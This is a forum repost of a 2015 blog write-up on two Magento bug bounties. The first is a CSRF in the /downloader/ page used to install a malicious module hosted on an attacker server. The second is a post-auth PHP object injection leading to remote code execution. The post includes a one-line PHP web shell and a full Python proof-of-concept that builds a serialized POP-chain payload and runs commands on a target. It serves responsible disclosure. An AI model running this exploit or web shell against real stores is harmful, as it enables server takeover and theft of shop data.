Nytro Posted August 23, 2015 Report Posted August 23, 2015 [h=3]Magento Bug Bounty 1 & 2: CSRF to code execution and Post-auth RCE via object injection[/h]After months of procrastination and tons of words of encouragement from a good friend to start this blog I've decided to do so finally and open up with a couple of bug bounties I've been awarded with recently. I was shooting for the top bounties for Magento and landed pretty close to my goal.Bounty #1: CSRF:My initial thought was to check out some of less explored areas of Magento that seemed interesting. Namely, the /downloader/ page which is used to by admins to upload plugins to the Magento store either from a local package or remotely from the Magento Connect marketplace. Upon logging in I attempted to change a few settings and immediately noticed there was no CSRF tokens on any of the requests.I thought of the obvious issue, CSRF an admin and upload a malicious module but there were a couple problems that prevented this.Problem 1:I had no idea what the directory and file structure was like for the MagentoConnect website and googling around didn't lead to much.Solution: Wireshark solves a lot of problems. While running a local copy I just had to find the requests being sent from my server, grab each config file being read, and mimic them on my attackers server. After a bit of back and forth I had managed to properly emulate the community plugin pages layout on my attacker server and create a valid malicious payload. bad.php: <?php system($_GET[cmd]); ?> Problem 2:The process requires multiple POST requests to install from a URLIn order for a plugin to be installed from a URL the admin needed to click "install" after the URL was entered and then "proceed" which was sent in 2 POST requests. XHR would have made this a non-issue but there was no CORS header being sent allowing this. We could have used the method described in this awesome blog post but because the "X-Frame-Options" was set to "SAMEORIGIN" it would not have worked.NOTE: As pointed out in the comments by Mr. James Kettle this attack would actually still work even with the X-Frame-Option.However, upon closer inspection the "A=" parameter seems to change when the install actually takes place. If we just adjust our PoC CSRF to POST to that URL instead it seems like we'd be able to install our payload with a single click from an admin. And it worked!The bounty awarded for this bug was $9000.Timeline:11/17/2014 - Bug reported via the Ebay Inc. Bug Bounty portal02/??/2015 - Report was closed02/10/2015 - Created another bug report via the Ebay Inc. Bug Bounty portal02/10/2015 - Request for more info by Ebay02/23/2015 - Request for assistance with setting up PoC page03/04/2015 - More back forth with the engineer04/03/2015 - Initial payment received06/03/2015 - Final payment received07/07/2015 - Patch is pushedBounty #2 PHP Object injection:You may or may not have seen this one posted before by a much more skilled researcher and writer named Johannes Dahse, the author of the popular PHP source code analysis tool RIPS. If you have not I highly suggest reading his writeup here instead as it'll be an actual explanation with more content. I likely only reported the bug a few days earlier so kudos to him.The bounty awarded for this issue was $2500.Timeline:11/21/2014 - Bug reported via the Ebay Inc. Bug Bounty portal11/24/2014 - Patched silently in 1.9.1.012/18/2014 - Final payment receivedPoC sent to PayPal:#!/usr/bin/python# Magento PoC for post auth php object injection# pip install mechanize || easy_install mechanize# Author: @Ebrietas0 || http://ebrietas0.blogspot.comimport sysimport reimport base64from hashlib import md5import mechanizedef usage(): print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\"" sys.exit()if len(sys.argv) != 3: usage()# Command-line argstarget = sys.argv[1]arg = sys.argv[2]# Config.username = ''password = ''php_function = 'system' # Note: we can only pass 1 argument to the functioninstall_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml# POP chain to pivot into call_user_execpayload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \ '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \ 'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \ 'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \ '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \ ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function, len(arg), arg)# Setup the mechanize browser and optionsbr = mechanize.Browser()br.set_proxies({"http": "localhost:8080"})br.set_handle_robots(False)request = br.open(target)br.select_form(nr=0)br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.br.form.fixup()br['login[username]'] = usernamebr['login[password]'] = passwordbr.method = "POST"request = br.submit()content = request.read()url = re.search("ajaxBlockUrl = \'(.*)\'", content)url = url.group(1)key = re.search("var FORM_KEY = '(.*)'", content)key = key.group(1)request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)tunnel = re.search("src=\"(.*)\?ga=", request.read())tunnel = tunnel.group(1)payload = base64.b64encode(payload)gh = md5(payload + install_date).hexdigest()exploit = tunnel + '?ga=' + payload + '&h=' + ghtry: request = br.open(exploit)except (mechanize.HTTPError, mechanize.URLError) as e: print e.read()Posted by Ebrietas Sursa: http://ebrietas0.blogspot.ro/2015/08/magento-bug-bounty-1-2-csrf-to-code.html Quote